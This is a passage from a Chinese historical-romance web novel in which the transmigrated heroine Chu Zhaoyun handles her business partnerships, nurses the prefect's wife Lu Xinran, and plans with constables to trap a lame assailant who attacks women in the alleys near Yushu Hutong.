她死死拽着马车的车板,掌心都被磨掉层皮,血浸到板子的纹路中,尖刺扎的满手,她依旧不肯上那辆车。 “不,我要回京,我可是唐家的女儿,我是京都的大家闺秀!” “我要去跟父亲解释,他会听的。” “他还会给我机会,他不舍得把我丢去庄子上的!!” 壮汉本不想用力拉扯她,奈何她就是僵持着不肯上去。 蕤洲此去田庄路途遥远,这会儿赶路,今晚也未必能到达目的地。 搞不好还得找客栈住上一夜。 壮汉们奉命行事,见唐淑拼命喊叫,疯魔一般,也因不愿被围观,不得不强行拽开她的手。 唐淑被拽到手骨脱臼,无力的瘫软下来。 血泪模糊的一张脸上没了活人的生气,可即将被拖上马车之时,她却忽然狂笑着看向褚朝云的方向。 她的头被按回马车里,一行人狼狈离去。 一朝贵女落至丧家之犬,不过顷刻之间。 那些原本抱着看热闹心态的百姓们,此刻也都是说不出的滋味来。 小馆子的老板见状况不妙,俨然也没了和厨子争吵的心情,他灰溜溜关了铺子,门前人群很快散去。 直到白淼淼出完恶气,回来找褚朝云时,女子还和石雕一样杵在原地。 她叫了几声对方才听到。 唐淑发疯那刻,看向她时分明说了一句话—— “你也给我死。” 褚朝云理了理被风吹乱的头发,有一缕掉进了领口中,让冷风沁的很凉。 所以,唐淑还留了什么后手么? 唐淑搞成这样,想要在翻身那是绝无可能,褚朝云没做过什么贵女,但也看过书。 那种水深的名门世族,放弃一名子女,跟踩死一只蚂蚁没什么区别。 这一次,无人再去救唐淑。 可唐淑的阴毒她也是领教过几次,对方既然那么胸有成竹的留下这一句,必定不会轻易放过她。 没等褚朝云在分析分析,就被白淼淼和其他几名女子拉过去坐。 几人都在书院被唐淑欺负过,现下心中正痛快,一群人叽叽喳喳如树上百灵,褚朝云听他们说话,看着他们的笑容,倒也暂时平复了心绪。 来了万春楼一次,不仅成功赚得一百两,又谈妥了分红的买卖。 还有唐淑。 那女人作恶多端,这样的下场是应得的。 而甩掉一个大麻烦对她来说,也有好处。 褚朝云这一次收获颇丰,连程月都要对她刮目相看。 原本和白淼淼几人说过话是要回船上的,奈何闻风赶来的柳文匡,非要请她去酒肆坐坐。 徐大徐二也看出钟纯心对褚朝云格外宽容,褚朝云的待遇,其实要比刁氏更加的好。 因为钟纯心对刁氏是愧疚,而对褚朝云…… 他们倒是不太能想通其中关窍,但还是痛快的驾着马车,将褚朝云送去了酒肆。 褚朝云等下还要回船上干活,酒是肯定喝不得的。 柳文匡为她准备了上好的茶水。 精明的柳老板一坐下来,就满眼委屈的看向女子,“褚姑娘,褚老板!您可不能这么偏着那老张头啊,好歹也可怜可怜我。” 褚朝云几句话听明白了缘由。 原来柳文匡是眼红张满春能做外卖生意,他自己也想沾点财气。 不过褚朝云确实不会酿酒,她觉得自己是帮不上什么忙的。 但柳文匡不依,千求万求的主动说要给她分红。 又用银子诱惑她…… 褚朝云思来想去,便道:“我方才看了一圈你这酒铺子,几乎都是适合男子们喝的烈酒,为何不供应女子喝的呢?” “女子?” 柳文匡被问的表情见呆,“可我从没酿过清淡的酒啊,女子适合喝什么样的,你知道?” “果酒?或者……红酒?” 褚朝云随口说了几种,不过酒类的品种她也知之甚少。 而且据她所知,酿造红酒好像需要特殊的环境和温度,大概不是那么容易。 那还是果酒好了。 不过这两种柳文匡都没听说过,于是把头摇的跟拨浪鼓似的。 “那我回去研究一下好了,到时候方子给你,我还是只想拿分成。” “好好好,柳某绝不会亏待褚老板的!!” 柳文匡一脸喜色。 褚朝云说完话,正要起身,便见两名男子走进来打酒。 那二人寻了个地方坐下来等,口中随意闲聊着:“真吓人啊,龚家那女儿如今怎么样了?可还痴傻?” “痴傻什么,只是被吓得不轻,大概需要好好缓一缓了。” “龚家那个还不是最严重的,老王家那娘子你知道不?哎呦喂差点就被捂死了!!” “这刚一打春,怎么就发生这种事了?” “我估摸着这事还不算完。” 那人停顿片刻,忽的看到身旁站着的褚朝云。 见这小姑娘生的面容稚嫩,身量又瘦削的很,就好心好意的提醒了句,“姑娘,你这是来给家中阿爹打酒吗?” “下次还是叫你阿爹自个来吧,最近这一片不太平,小心遇上坏人。” “对,尤其不要大晚上的在巷子里走,知道吗?” 那人扯开话匣子就收不住,又絮絮叨叨说了好几句。 刚刚他们闲言时,褚朝云已经听了一段。 看到他们和自己说话,便顺着问道:“到底发生了什么?” 那人砸吧了下嘴,像是不确定,“也说不好,就是最近晚上,这边总有女娃和小娘子被偷袭。也不知对方是什么人,为何一直针对女子下手。” 大概是变态。 现世来的褚朝云见惯了这种案例,第一时间就想到这上面去。 “府衙那边怎么说?” 见她问,那人又道:“还能如何,只说是加派巡逻的人手吧。” “但就算巡逻的人多了,谁也不知道对方什么时候动手,在哪里动手啊?” “听说已经有四个女娃被袭击了,好在这一打春,家家户户都睡得晚些,听到了动静一出来看,那坏蛋就很快逃了。” 柳文匡打完酒也加入进来,“好在没真的伤到性命,否则……” 众人沉默。 褚朝云当晚回到船上,果然宋谨没能如约过来,想来也是因为这起事件,被临时调派过去巡逻了。 这件事闹得人心惶惶,连带着这几晚花船的生意也清淡不少。 因为过来游玩的除了男客,女客也不在少数。 三日后,褚朝云从钟纯心口中得到了两个消息。 一个就是,白淼淼傍晚出门被那歹人袭击,但好在被仆从及时救下。 而更严重的一个,是陆欣冉。 那人竟然胆大到连知府夫人也敢下手,而陆欣冉在同那人撕扯时,不慎被当头锤了一棒,一直昏迷至今。 第82章 一更 褚朝云还以为,钟纯心突然跟她说这个是随口闲谈,不成想,妇人下一句话便是:“你收拾收拾东西立刻跟我下船,这几日便先住在我那里吧。” “啊……啊??” 褚朝云还以为自己听错了。 钟纯心转过身,眉眼除了流露出些许疲惫,再就是那习以为常的疏冷:“啊什么,最近陆欣冉都住在我那里,矜贵的药材一碗接一碗的灌,大概很快便会醒了。” “你去替我照顾几日,免得她看到我又要发疯,我府中可没那么多物什给她砸着玩。” 她一口气说了那么多,褚朝云表情更是迷惑。 上次刚亲眼所见陆欣冉打了钟纯心,这会儿钟纯心竟然大人不记小人过的要照顾她。 这混乱的人物关系…… 褚朝云垂下眼来,决定不在问那许多,只低低应了声“我回去收拾一下”,然后就下了暗仓去。 这阵子针织小铺运营的很稳定,船娘们单子多,所以大家一收工,就聚在下边干起了活。 不过这些事都要归功于白淼淼的设计,还有她的影响力。 蕤洲的富家小姐太太们,时不时光顾铺子,其实多半,也是先从好奇白淼淼的设计开始。 所以哪怕那只是面食铺子分出来的一半店面,外观简陋到连装修都没有,可东西好,名声还是传的很快。 褚朝云要跟着程月学厨,又要顾着长业寺,所以这一块的生意,她基本是放心教给褚惜兰,春叶和蕙娘来做的。 船上有褚惜兰,船下有白淼淼,她这个甩手掌柜当得甚妙。 而徐香荷则被她派了新的任务。 就是研究酿制果酒。 所以褚朝云借口回去收拾包袱,实则是去安排后续。 她这一去还不知要多久,两头的事都不能停,总要交代好了才能行。 得知她又要去钟管事那,而且还是一去好几日,方如梅像是终于嗅到了一丝不同寻常。 趁着褚朝云在隔间里装包袱时,她避开其他人走了进来,“朝云。” “婶子来了。” 褚朝云也没带几样,钟纯心那的条件比暗仓好了不知多少倍,放下轻便的小包袱,她便拉着方如梅进来坐。 “朝云,婶子有几句话不知当讲不当讲……” “跟我还见外什么,婶子有话,但说无妨。” 方如梅见她这般亲和,才觉得自己是来对了,否则,也总怕管得太多,会让褚朝云生出反感。 虽说眼前的小姑娘比她年轻许多,可这些日子相处下来,她心中是越发佩服。 褚朝云看着温温和和,不会过分去奉承谁,但也绝不是好欺辱的软柿子。 方如梅觉得这姑娘就像一面铜镜。 你若待她好,她也会同样待你,若是起了什么坏的心思,自己也得不到好果子吃。 不过正是因为刁氏下船去了,她才有和褚朝云更深一步接触的机会。现在她明白了,明明刁氏和褚朝云相识也不算太久,却为何会待褚朝云如亲女。 而现下的自己,亦是如此。 她握着褚朝云的手,紧了紧说:“我也说不好原因,就觉得钟管事对你好……或许是有什么其他的目的。” 方如梅说着,自己先叹息起来,“希望是我想错了,可她与你之间,本不该有太多交集。朝云,你这次去要多小心着些,钟纯心那样的人不是咱们该接触的,除非,她想图你什么。” 可是钟纯心,能图她一个受人摆布的船娘什么? 其实,这也是褚朝云一直都想不通的问题。 不论怎样,钟纯心开口了,即便知晓那山有虎,她也是躲不过去。 褚朝云不敢耽搁许久,又和方如梅说上几句,就拿了东西下船去了。 下船之时运气不佳,迎面又遇上了李婆子。 李婆子正拎着于小圆的脖领子数落什么。 大概是于小圆新来的不懂规矩,屡次犯错,不断挑战李婆子的耐性,才招来辱骂。 可褚朝云觉得,李婆子对于小圆,相较其他人还是比较宽容。 虽说骂的血淋淋,但并没有伸手去打她。李婆子最喜欢掐别人的大腿,肉软,掐着却疼入骨髓。 而于小圆是个大咧咧地姑娘,在楼上受了什么委屈,都会下来跟她念叨几句,有时,也会拉着褚惜兰和春叶他们哭诉。 哭诉自己不知人心险恶,竟然主动进了虎狼窝。 褚朝云从二人身旁路过,目视前方,毕竟自己越是表现出在意于小圆来,于小圆受的苦就越多。 而她一脚迈下船去,头也没回,身后却忽然传来清脆的巴掌声。 李婆子一耳光把于小圆打翻在地,于小圆就呜呜咽咽哭了起来。 褚朝云脚步微顿,还是回头看了一眼。 正听李婆子恶狠狠地骂于小圆:“没用的东西!赶紧给我滚回去!!” 褚朝云驻足片刻,身旁马车的车帘就被钟纯心给撩开了,“上车。”钟纯心态度冷然,似是没看到船上发生的事情一样。 褚朝云应过一声,也跟着坐了上去。 正值春日,蕤洲的花草万物也逐渐复苏。 钟纯心将马车两侧的车帘撩起,车外道路的景象便一览无余。 也不知是否故意,明明往日去府邸都可以走近路的,可今日驾车的车夫却故意绕了远。 马车从长街拐去另一条路,很快就从万春楼的门前路过。此时万春楼门前站了几名提着食盒的伙计,等菜出锅的途中,还不停地聊着天。 这是要准备去送外卖了。 褚朝云有些高兴,不禁对着那边多瞧了几眼,毕竟这外卖的单子越多,她月底的分红也就越多。 跟着,马车又去了柳文匡的酒肆。 相比万春楼,柳文匡这里略逊色些,但柳老板也是听劝的,竟然在门前多放了一块小牌子—— 提供送货上门,免费。 褚朝云不禁想笑,也想哭。 大概是合作的久了,见到此种情形难免触景生情,也或许,是因这些店铺里都多多少少掺杂了自己的心血,所以才会令她有如此奇妙的感想。 不用猜也知晓,马车最后一定会路过刘新才那。 果不其然,走歪的路即将回到正轨之时,最后一站果然到了面食铺子。 只是最近她没什么机会过来,并不知刘老板的小铺子生意竟越发红火,来针织铺子订货的客人多了,顺带着就要吃一碗扁食歇歇。 白淼淼也带着丫鬟在铺子里忙,忙着画花样子。 偶尔遇上来问红糖姜块的,还会帮着回应一嘴:“稍安勿躁,东家正在备货中。” 褚朝云强忍着心中的波动,下意识就往钟纯心那瞄去一眼。 她其实是有些不敢去看妇人的,总怕一旦二人对上视线,心中那点小秘密便会被轻易识破。 只不过—— 钟纯心一直在闭目养神,似是并没注意她的神情。 直到许久,褚朝云已经将车帘放下,钟纯心才重新睁开了眼。 妇人也不知是再跟她说话,还是自言自语,“春暖花开的时节,也不过是刚涌现出生机,可若要这花开的更艳,夏季却是最好。” “那秋季呢?” 褚朝云也不知自己是怎么想的,随口就附和一声。 钟纯心眼底凝着漆黑的光,淡淡道:“秋季,那便就该到收获的时节了。” 褚朝云听不懂,但似乎又有点懂。 可,会是她想的那个意思吗? 马车到了府中,钟纯心安排管家带她去看望陆欣冉,而自己则去了前院,似乎是把二重院全部让给了陆欣冉来住。 老管家依旧慈和,也很懂分寸的不说太多。 他只是告诉褚朝云,钟纯心叫她来此无非就是陪着陆欣冉说说话,给她做做饭食,养好病了她就能回花船了。 而陆欣冉之所以不会像厌恶钟纯心那般厌恶她,也是因为她长业寺掌厨的身份。 所以陆欣冉执着的,应该是长业寺吧? 褚朝云这一次真是带着一头问号过来的,将包袱放到自己住的那间,她便匆匆赶去先看了看陆欣冉。 陆欣冉刚被丫鬟喂过药。 丫鬟一回头,见到她便好好的行了个礼,“褚姑娘,陆夫人方才醒过一次了,说是想吃些汤水之类的,可否请您去准备一下?” “好,把你家夫人的忌口说与我听,我立刻就去。” 丫鬟很是喜悦,忙取了笔墨书写下来。 褚朝云看着那隽秀小字,人彻底惊呆了。 没天理啊没天理,小丫鬟的字可真漂亮,果然在大祁,只有她的字不堪入目。 “你字很好看啊。” 她由衷赞叹。 丫鬟面红一下,而后轻快道:“我家夫人和老爷自小就是青梅竹马的一对,夫人的字都是老爷教的,而我的字,是夫人教的~” 褚朝云明白了,对方口中的“老爷”,应该就是岳知府岳常了。 所以说……岳常和陆欣冉其实是青梅竹马? 那钟纯心呢? 褚朝云被这七零八落的线头搅扰的万分头痛,想不通索性先不想,她接过纸张细看,然后就去了厨房准备饭食。 傍晚时分,红枣桂圆糯米粥便熬好了。 这也是丫鬟特意说过的,陆欣冉体寒一直身子不太好,所以在家中时,会常常喝些这样的汤粥。 糯米香甜,稠一点,也更合陆欣冉的口味。 房中,甜软的米香顿时充盈到每个角落,连门外站着的丫鬟小厮都被香的直流口水。 床榻上昏睡的陆夫人,也很快醒了过来。 褚朝云方才一直在无聊的练字,照着丫鬟的字体一笔一划勾描,这会儿听到动静,便将毛笔放下,想要过来看看陆欣冉的状态。 陆夫人才将醒来眼中朦胧,只闻米香,便哽咽着坐起身来。 而褚朝云才做到凳上,就被她一把抱住了。 陆欣冉抱得褚朝云死紧,勒的她小脸通红。 迷蒙间,她听到对方说:“清泽,你回来了,你终于肯回来看我了!” 褚朝云顾不及喘一口气,脑子里就先跳出一句—— 清泽是谁?? 第83章 一更 陆欣冉似乎还没有清醒,口中念念叨叨了几次“清泽”,直把门外守着的丫鬟都给喊了进来。 见自家夫人一直死死抱着褚朝云,丫鬟忙跑上前,一边熟练的哄着,一边温柔细语说道:“夫人莫急,老爷很快就会来看您了,下月十五,他还要陪您一块去长业寺不是么?” “长业寺”三个字一说出来,褚朝云脖子上的勒感顿时减轻了。 随后,陆欣冉木讷的呓出几声,将反复念叨的“清泽”又换成了“长业寺”。 看着人仿佛失了魂一样的消沉,丫鬟微松口气,给同来的丫鬟使了个眼色,那人忙坐下来哄陆欣冉吃糯米粥。 陆欣冉这次不再闹了,而是乖乖听话的喝起粥来。 仿佛喝完了粥再睡一觉,岳常就会回来了一样。 褚朝云瞧着陆夫人这不太正常的状态,和丫鬟一块去到门外,“冒昧的问一句,你们家老爷……也就是知府大人,他的小字叫做清泽?” 丫鬟抬头看向她,表情只出现了一瞬间的为难,之后就沉重的点了点头:“是的。” 既然褚朝云是纯心夫人找来的人,那必然就是可靠之人。 而陆欣冉的状态时好时坏,即便没有这次惊吓,也非从前正常那般。 总是要给褚朝云说明一下的。 免得陆欣冉犯病的时候,会吓到她。 丫鬟压低声音,将褚朝云又带远一些,然后才道:“我们家夫人与老爷从小就是青梅竹马,二人初识便在长业寺,虽说那时他们不过几岁顽童,但也因此……” 丫鬟语速缓慢,似是在回忆过往,也似是为了让褚朝云听得更清楚些:“后来老爷考取功名,放任来这处当知府,我家夫人便一路追随,还提前在蕤洲置办了府邸。” “只可惜——” 最后的三个字声声叹息,丫鬟的视线微微扫过所处庭院,便没再说话了。 不过话讲到这里就够了。 大概是陆欣冉发现了岳常除她之外,还有另一钟爱之人,不但将人一同带来了蕤洲,还为其买下这处别院。 所以陆欣冉受不了打击。 哪怕岳常并没有娶钟纯心,还是娶了她为妻,可陆欣冉也咽不下心中这口怨气。 陆欣冉发疯是可以理解的。 被爱人背叛,而且还左右都不愿割舍,摇摆不定,怎能不疯。 不过这些只是凭其蛛丝马迹臆想出来的,至于真正的故事,褚朝云还未可知。 她站在院中许久,久到那角落里的一株昙花都默默开花,才跺了跺发麻的脚底,想要进屋里去。 “褚朝云。” 她尚未迈步,钟纯心就走了过来。 妇人似乎很不愿看到陆欣冉发疯,喊过之后先往里面瞥了眼,见屋子里灯火已熄,这才招招手,将人喊过来,“我明个要去船上,这里有张单据,你到时帮我跑一趟,叫徐大跟着就好。” 褚朝云接过单子,发现这是一张定做玉石手串的凭证,取货地址就在榆树胡同的那条小街上。 “手串?” 她再次确认。 钟纯心“嗯”了声:“陆欣冉下月十五的生辰,到时她夫君会陪她去长业寺小住一阵子,这手串是岳常送她的生辰礼,年节前我就拿玉料去定做了。” 褚朝云听着钟纯心的话,表情却越发怪异。 不为别的,只为钟纯心这一句长长的交代,对方本没有必要同她解释太多。 褚朝云捏着单据一角,从方才那一字半句里摘出来个词汇。 “她夫君”。 怎么听怎么像是嘲讽。 许是今个听了丫鬟所讲的往事有感,褚朝云情绪也如这春风一般起起伏伏,夜晚的风已经有些许凉,吹的那昙花都跟着晃动。 幽幽的香味里不只这一枝独秀,还有其他花色争奇斗艳。 褚朝云转过头,面向钟纯心,“你既知——” 似是被夜风和花香冲昏了头脑,她话一出口便闭了嘴,偷偷观察一眼妇人的表情,语气稍软下来,“抱歉,是我话多了。” 果然是被花香搞昏了头,连管事的事情都敢过问。 褚朝云预备溜之大吉,钟纯心却突然笑出一声。 妇人很少这样笑。 钟纯心一句笑完,便不知被褚朝云刺激到了哪根神经,竟扶着一旁发了嫩芽的小树苗笑的停不下来。 褚朝云生怕她压断了树苗,有些紧张的盯着她。 钟纯心笑够之后,才伸手抹去眼底湿润,只是那眼依旧弯着,似天上明月,“褚朝云,我发现你这胆子越发大了,敢管到我的头上来?” 这是一句问话,也是一句肯定。 褚朝云总觉得这花香有毒一般,刚刚刹住闸的情绪在此刻又不受控。 她轻咳一声,脑子一抽,就顶嘴道:“我还有更大胆的呢。” “你说。” 钟纯心来了兴趣,眼眸依旧含笑,“今个你给我好好说一说,我准你说。” 高高的上位者姿态。 可褚朝云看着她,却觉得这高傲的背后,似乎有某种真实的面孔越发清晰,渐渐地,这种面孔就跟刁氏,方如梅他们重合了。 钟纯心似乎真的很欣赏自己。 或者,就是单纯的偏爱。 于是捡日不如撞日,她半有试探半真诚的道了一句,“若我攒够五百两雪花银,管事可否准我离去?” 话毕,风停。 花香似乎也淡下去不少。 钟纯心不知何时从树梢上掐下一支嫩芽,不动声色便将其捏碎,“褚朝云,”她微微笑道:“这一支嫩芽死了,却还有别的枝头会发。不过,这树根看似是它们的依靠,实则种下这棵树的主人,才能主宰他们的命运。” “好了,时候不早了,抓紧去睡吧。” 钟纯心哈欠一声,悠悠离去。 褚朝云伸手抚摸了那一簇枝丫,便隐晦地笑了起来。 钟纯心看似直白的性情,却向来不会有话直说。 所以,钟纯心就是那条船的主宰,只有她同意放行,自己才能顺利下船。 所以上船以来这么久,她撞了许多南墙,走了许多死路。可如今这一条路,怕是真被她走的通了。 这一晚,褚朝云闻着院中花香,久久都无法平静下来。 …… 翌日,给陆欣冉做了一锅鸡汤配手擀面后,她自己胡乱吃了几口,就叫上徐大一起去了榆树胡同。 褚朝云前脚刚到铺子,就瞥见曾茹提着一篮子草药往曾家疾行。 她开口唤了一声,曾茹见是她,立刻跑了过来。 几日未见,曾茹似乎变得憔悴不少。 她还不等问,对方就已经先开了口,“看到你真是太好了褚妹妹,不过你近日若有事要办定要白日出门,夜里千万莫出来走动。” 那日在柳文匡的酒肆,褚朝云已经得知最近有袭击女人的变态出没,所以也懂曾茹的意思。 她默默点头,看向草药关切道:“曾姐姐是病了吗?可需要我帮什么忙?” “不是我,是祖母。” 曾茹告诉她,前晚曾老太太来了戏瘾非要出门去看戏,而她那时正在家中给老太太备饭,曾阳夫妇跟着老太太出去,却总是走着走着就去摊子瞧别的。 一时没看住,曾老太太就进了胡同。 然后就被变态给袭击了。 虽说当时老太太吼了一嗓子,曾阳夫妇也很快赶来,可老太太还是被推了一把,这一摔就起不来炕了。 老人家摔跤是大忌。 曾老太太给褚朝云的印象是个偏强硬些的女人,褚朝云还是很喜欢老太太的。 见曾茹如此着急,便说道:“伤筋动骨一百天,不如熬些骨头汤试试?” 曾茹急的小脸惨白,听后恍然片刻,而后惊喜道:“你说得对,我这就去买大骨头!!” 褚朝云又问了问老太太出事的地方,曾茹抬手指给她看。 就在榆树胡同不远。 而那戏院也在那处,所以是因为路程太近,曾老太太才没选择坐马车出门。 褚朝云忙着去取手串,二人道别之后,女子就向着店铺而去。 玉石手串做工精美,拿在手中明晃晃的。 只是那磨料子的工人磨的屋中粉尘乱飘,有一些不断落向进门而来的客人头上,一层雪白的浮灰,看着有些扰人。 工人磨完一批,起身再取。 大概行动有点不便,走路时深一脚浅一脚,腿上似乎毛病不小。 满地的灰尘被踏上脚印,那印痕也是一深一浅的很有规律。 取过就算完事,褚朝云好好的将其收好,道谢出门,而后便打算跟徐大去旁边的茶馆喝一壶茶。 倒也不是她想偷懒晚归,只是如今蕤洲到处都在说那变态袭击女人的事,而茶馆自古以来就是听消息的好去处,事关女子安危,她还是想要知道的多一些。 二人进了茶馆,直奔楼上而去。 一壶新茶尚未沏好,隔间的门就被人给推开了。 门开,屋子里跑出来续茶的小八卦一眼就瞄见褚朝云,登时笑的眉飞色舞,“褚姑娘~” 褚朝云见这人是宋谨同僚,下意识便往门中看去。 而小八卦这一声喊得清亮,屋中男子也正望了出来。 隔着熙来攘往,二人的视线遽然碰撞到一处,彼此心中一提,宋谨手中的茶杯就偏洒出来。 恍神片刻,宋小哥忙放下茶杯,不顾手上沾染的水渍,就立即走了出来。 “朝云。” 宋谨的声音依旧温润。 只是这一句里,还饱含了说不出的喜悦。 没见面时,褚朝云尚未觉得怎样,可乍一碰到,心中也不是全无波动。 小八卦眼疾手快从送茶的小二手中抢过了壶,笑嘻嘻做了个“请”的姿势,将褚朝云请进门来时,还坏笑道:“这叫什么,有缘千里来相会,无缘对面不相逢!褚姑娘快进来坐,我们家宋儿这几日可想你了~” “休要胡说。” 宋谨尴尬地面都红了。 小八卦勤快的给褚朝云倒了杯茶,然后就拉着徐大去一旁,“徐大兄弟,我看你身手不错,脑子一定也灵活的很,不如过来帮我们分析分析案情如何?” 实在是这几日的袭击案闹得大家都不得安生,加之府衙人手又不足,他们这些人也被搞得精疲力竭。 总不能天天满蕤洲的去转悠找人吧。 蕤洲可大了去了。 为了压下自己那点不敢昭示于人的心思,宋谨忙转移话题,“朝云,我们也一同过去和他们商议一下?” 不知何时,褚朝云这三个字就越发被他放在心上。 他会不自觉的去想女子在船上吃的是否好,睡的是否足。 他想接褚朝云下船,想帮她逃离那个地方。 很想。 褚朝云其实也正有此意,于是二人便打算搬凳子一块过去。 结果小八卦和朱力一屁股坐到上面,坚固的小阵营围成一圈,密不透风的,一看就是不准他们加入的架势。 朱力也开了窍,配合着小八卦说:“你们俩去一旁坐,那边还有空桌,也不远,说话都能听得见。” 小八卦:“对呀,你们单独去坐,别跟我们挤。” 褚朝云和宋谨被他们突然“排外”的举动闹的不太明白,忙异口同声:“为何?” 小八卦“滋溜”喝了口茶,学着仵作师父捋胡须的样子说:“我看这俩人搭配的不错,有了他们,咱们破案也能更省力些~” 二人默默无语,只好往一旁空桌那儿去。 隔间不大,空间较窄。 所以彼此难免挨的近了些。 二人同步的要去搬那凳子,褚朝云手指刚握上去,便觉得手背沁凉一片。 宋谨不小心抓在了她手上。 男子耳尖肉眼可见的泛起了红,跟着,褚朝云就觉得,自己手背上的那抹凉,逐渐变得火热起来。 第84章 一更 这误打误碰的姿势只维持一瞬,不待褚朝云反应过来,宋谨便“嗖”的一下抽回了手。 明明是他手心突然间起了温度,如此慌乱,倒像自己才是被烫到的那个。 褚朝云瞧着男子的面越发红,便忍不住弯了弯眼。 她毕竟是现代人,碰碰手而已,确实没觉得会怎样。 但宋谨不是这样想。 “我……” 老实的宋小哥不小心冒犯到她是一定要道歉的,于是,男子轻启朱唇,藏起来的那只手,指骨被捏的泛白一片。 他支支吾吾半晌也没说出什么来,最后只化为一声局促地轻咳。 “无妨无妨,快过来坐,案情重要。” 褚朝云笑着化解了他的尴尬,先一步坐下来。 宋谨默默点了下头,坐到女子身旁,像是怕再冒犯到人,坐下时故意拉开一点距离,并朝后伸手道:“穆青,地图拿过来。” 原来小八卦叫穆青。 小八卦“哗啦”递来一张。 宋谨将他昨晚临时画的那张地图铺开,指给褚朝云看,“根据歹徒几次行凶的方位,我们大概划定在这一片的区域,但也不敢完全确定。” 因为这次对方明显是随机行凶,很有可能是恰巧路过那一块,所以范围才被圈定。 若是以后又去了他处呢。 这一点,在座的所有人都明了。 宋谨知晓褚朝云聪慧,虽说小八卦刚刚学师父那样讲是别有目的,但他还是很愿意褚朝云的加入。 褚朝云大略扫一眼那图,见作案的地点几乎都围绕榆树胡同两侧。 女子坐的累了,便以手撑下巴,身体微微往旁侧倾斜道:“你们去了几次案发地点,虽说伤者并无致死,但现场可有留下什么蛛丝马迹?” 不待宋谨回话,小八卦就争抢道:“地上好像有些奇怪的印子,其他的没发现。” “奇怪的印子?” “嗯嗯嗯!就像是——” 小八卦急不可耐地答话,却词语匮乏到找不出更好的形容来。 最后还是宋谨说道:“脚印的一侧有偏圆形的印痕,像是拄着拐再走,但那重量却不太对劲。” 腿脚不便之人依靠拐杖走路,身体大半重量该在拐杖那侧,但从那印子的深浅来看,明显是脚掌那侧比较重些。 “而且还少了一只脚!” 小八卦又想起来了。 褚朝云听得越发懵。 小八卦便起身给她学了一下,大概是那人少了一条腿,所以走路时是用左腿配合拐杖那般使力。 小八卦演示了一遍。 褚朝云便生出新的疑问,“如若行凶之人是这般身体,他可还有力气作恶?” 这也是宋谨想不通之处。 这件事讨论半晌,最终也没个什么结果。 不过这次衙差并未让他们去破这个案,只是协助巡逻,是宋谨和朱力怕女子们再受到伤害,才自发组织起来想尽快抓到凶手的。 尽快抓到凶手是对的,褚朝云身在花船,亲眼看着那些无辜的女子日日受折磨。 她实在不想再看到还有旁人,成为凶手的下一个目标。 所以她心中有了一个想法,但却没提前声张。 就在讨论会即将结束时,仵作便派了人过来寻宋谨回去。 褚朝云趁机将朱力拉到一旁,看着他和徐大说:“从几次事件来看,凶手作案频繁,显然是就住在榆树胡同附近,而且他的下手对象和规律也不难分辨。” “深夜,小巷,女子独行。” 朱力很赞同她的想法。 褚朝云继续,“还有这女子,也是精挑细选的,必须要符合他想要行凶的条件才行。” 朱力品了一下她话中之意,还是问道:“如何界定?” 褚朝云将出事的几人一一说了遍,“你不觉得,他很喜欢朝孩童,老人,或是像白淼淼那般富户家的小姐们下手吗?” 因为这些女子都有一个共同点,便是不如常年劳作的女子们力气大。 所以,关于那“奇怪的印子”分析,也不全然是错的。 凶手自身一定有某种缺陷。 换句话说,若是身强体壮之人,他对付不了。 不过想到这,褚朝云也更加气愤,自己都已经是那般模样,竟还想着要害人? 褚朝云兜兜转转,最终把叫住朱力的目的挑明,“我想要以身做饵,诱他上钩。到时我装成路过的女子,不过要麻烦你,小八卦几位兄弟提前打下埋伏,咱们定能将他捉到!” 朱力明白了。 褚朝云是不想让宋谨参与到这个计划里来,所以才避开了人。 不待他问,褚朝云便自己说了理由,“宋谨他……若他知晓必定不会同意我冒险,但如今除了我,你们可还有其他女子能做这事吗?” 府衙内还真没什么女子。 朱力为难。 他不怕别的,只怕宋谨事后知晓,会连兄弟都不要跟他做了。 可抓凶手确实等不得,谁知对方哪天收手,从此又在蕤洲隐匿起来。 “放心吧大力哥,我力气大得很,而且徐大徐二兄弟也会跟着我,咱们这么多人还拿不下他一个?” 褚朝云胸有成竹,朱力便同意先不告诉宋谨。 事情定在明晚亥时一刻,地点就在榆树胡同,到时候朱力他们会提前在那里等候。 不过随意出府自然不成,于是褚朝云只好硬着头皮去找了钟纯心,钟纯心听后听了倒是没什么表情,只淡淡“嗯”了一声,意外的答应了。 只是最后还补了句,“若他们人手不足,除了徐大徐二,府里其他的人,你也可以借去用。” 褚朝云给她作了个揖,一脸天真俏皮道:“那便多谢钟管事!” 其实他们已经判断出凶手只有一名,并不需调派那许多人,太多人反而会打草惊蛇,于破案不利。 但钟纯心是好意。 面对好意,褚朝云总是发自真心的感谢。 白日里褚朝云没什么事做,闲来无事就想要算一算账。 几处生意她基本都是拿的分红,虽说这进项日日稳定,但距离五百两还是差距不小。 所以总要做些什么尽快筹到银子才行…… 上次张满春为了店庆出了一百两,可那是人家重视万春楼,又不想输给对面的小馆子,这才下了如此重的血本。 但这好事可不是一直都有。 不过外面的生意总归都是小打小闹,即便赚到钱,也不会太多。 褚朝云这一琢磨便琢磨到了日落西山。 晚间,她去瞧了陆欣冉。 陆欣冉已经缓醒过来了,人清醒之后,便也知自己是身在何处。 于是褚朝云赶过去的时候,陆夫人正在屋中暴走,连带着那方桌小凳,也都被她踹的翻倒在地。 陆欣冉破口大骂,句句都在指向钟纯心。 “毒妇,为何要把屋中古董字画全部撤掉?!” 褚朝云进门听到这样一句,扶了扶额,搞了半天陆欣冉是因为无东西可摔,所以才气的要骂人。 她快步进去,尝试着拉住陆夫人安抚,“夫人莫恼,钟……她也是怕您在摔那些古董花瓶时伤到了手,所以才将屋中物什全部撤掉的。” 陆欣冉似是对她另眼看待,虽说情绪不那么急躁了,但依旧止不住冷笑:“她会有那般好心?她钟纯心巴不得我死掉,然后自己好住进去做知府夫人!!” 褚朝云觉得钟纯心并不想,但眼下这话也不能说。 为了转移陆欣冉的注意力,她想到了一件事,便开口道:“而且,这府内上下置办的物什都是赝品,并不值银子的。” 这话倒是有些令陆欣冉震惊,“你说什么??” “嗯,确实是这样。” 陆欣冉是大家小姐,也算半个行家。 她忽的出了大门,开始有目的性的在府中转悠,从影壁墙上的石狮子,再到院中的玉面棋盘,假山流水,除却花草是真的,其他的全部都是仿制品。 陆欣冉站在棋盘前呆滞半晌,而后自言自语道:“我当他心中疼爱钟纯心,所以什么好东西都给了她,家中生活拮据,知府内陈设连我娘家十分之一都不如。” “他是个好官,是个清官,自掏腰包给百姓们贴补,可就是这情爱之事……” “却不曾想……” 陆欣冉一口气说了许多,最后却是说一句少半句,大抵自己也不知该讲些什么好。 